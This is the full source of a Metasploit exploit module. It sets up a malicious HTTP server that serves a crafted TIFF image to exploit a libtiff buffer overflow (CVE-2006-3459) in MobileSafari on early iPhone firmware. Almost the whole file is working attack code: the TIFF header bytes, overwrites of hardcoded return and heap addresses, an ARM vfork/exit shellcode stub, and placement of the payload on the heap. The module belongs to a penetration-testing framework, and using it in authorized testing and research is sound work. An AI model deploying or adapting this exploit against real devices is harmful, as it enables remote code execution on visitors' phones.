Path: blob/master/modules/exploits/apple_ios/browser/safari_libtiff.rb
32969 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Apple iOS MobileSafari LibTIFF Buffer Overflow',18'Description' => %q{19This module exploits a buffer overflow in the version of20libtiff shipped with firmware versions 1.00, 1.01, 1.02, and211.1.1 of the Apple iPhone. iPhones which have not had the BSD22tools installed will need to use a special payload.23},24'License' => MSF_LICENSE,25'Author' => ['hdm', 'kf'],26'References' => [27['CVE', '2006-3459'],28['OSVDB', '27723'],29['BID', '19283']30],31'Payload' => {32'Space' => 1800,33'BadChars' => '',3435# Multi-threaded applications are not allowed to execve() on OS X36# This stub injects a vfork/exit in front of the payload37'Prepend' =>38[390xe3a0c042, # vfork400xef000080, # sc410xe3500000, # cmp r0, #0420x1a000001, # bne430xe3a0c001, # exit(0)440xef000080 # sc45].pack('V*')46},47'Arch' => ARCH_ARMLE,48'Targets' => [49[50'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',51{52'Platform' => 'osx',5354# Scratch space for our shellcode and stack55'Heap' => 0x00802000,5657# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib58'Magic' => 0x300d562c59}60],61],62'DefaultTarget' => 0,63'DisclosureDate' => '2006-08-01',64'Notes' => {65'Stability' => [ CRASH_SERVICE_DOWN ],66'SideEffects' => [ IOC_IN_LOGS ],67'Reliability' => [ UNRELIABLE_SESSION ]68}69)70)71end7273def on_request_uri(cli, _req)74# Re-generate the payload75return if (p = regenerate_payload(cli)).nil?7677# Grab reference to the target78t = target7980print_status('Sending exploit')8182# Transmit the compressed response to the client83send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })8485# Handle the payload86handler(cli)87end8889def generate_tiff(_code, targ)90#91# This is a TIFF file, we have a huge range of evasion92# capabilities, but for now, we don't use them.93# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday94#9596lolz = 204897tiff = "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"98tiff << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"99tiff << "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"100tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"101tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"102tiff << "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"103tiff << "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"104tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"105tiff << "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"106tiff << "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"107tiff << [lolz].pack('V')108tiff << "\x84\x00\x00\x00\x00\x00\x00\x00"109110# Randomize the bajeezus out of our data111hehe = rand_text(lolz)112113# Were going to candy mountain!114hehe[120, 4] = [targ['Magic']].pack('V')115116# >> add r0, r4, #0x30117hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack('V')118119# Candy mountain, Charlie!120# >> mov r1, sp121122# It will be an adventure!123# >> mov r2, r8124hehe[92, 4] = [ hehe.length ].pack('V')125126# Its a magic leoplurodon!127# It has spoken!128# It has shown us the way!129# >> bl _memcpy130131# Its just over this bridge, Charlie!132# This magical bridge!133# >> ldr r3, [r4, #32]134# >> ldrt r3, [pc], r3, lsr #30135# >> str r3, [r4, #32]136# >> ldr r3, [r4, #36]137# >> ldrt r3, [pc], r3, lsr #30138# >> str r3, [r4, #36]139# >> ldr r3, [r4, #40]140# >> ldrt r3, [pc], r3, lsr #30141# >> str r3, [r4, #40]142# >> ldr r3, [r4, #44]143# >> ldrt r3, [pc], r3, lsr #30144# >> str r3, [r4, #44]145146# We made it to candy mountain!147# Go inside Charlie!148# sub sp, r7, #0x14149hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack('V')150151# Goodbye Charlie!152# ;; targ['Heap'] + 0x48 becomes the stack pointer153# >> ldmia sp!, {r8, r10}154155# Hey, what the...!156# >> ldmia sp!, {r4, r5, r6, r7, pc}157158# Return back to the copied heap data159hehe[192, 4] = [ targ['Heap'] + 196 ].pack('V')160161# Insert our actual shellcode at heap location + 196162hehe[196, payload.encoded.length] = payload.encoded163164tiff << hehe165end166end167168169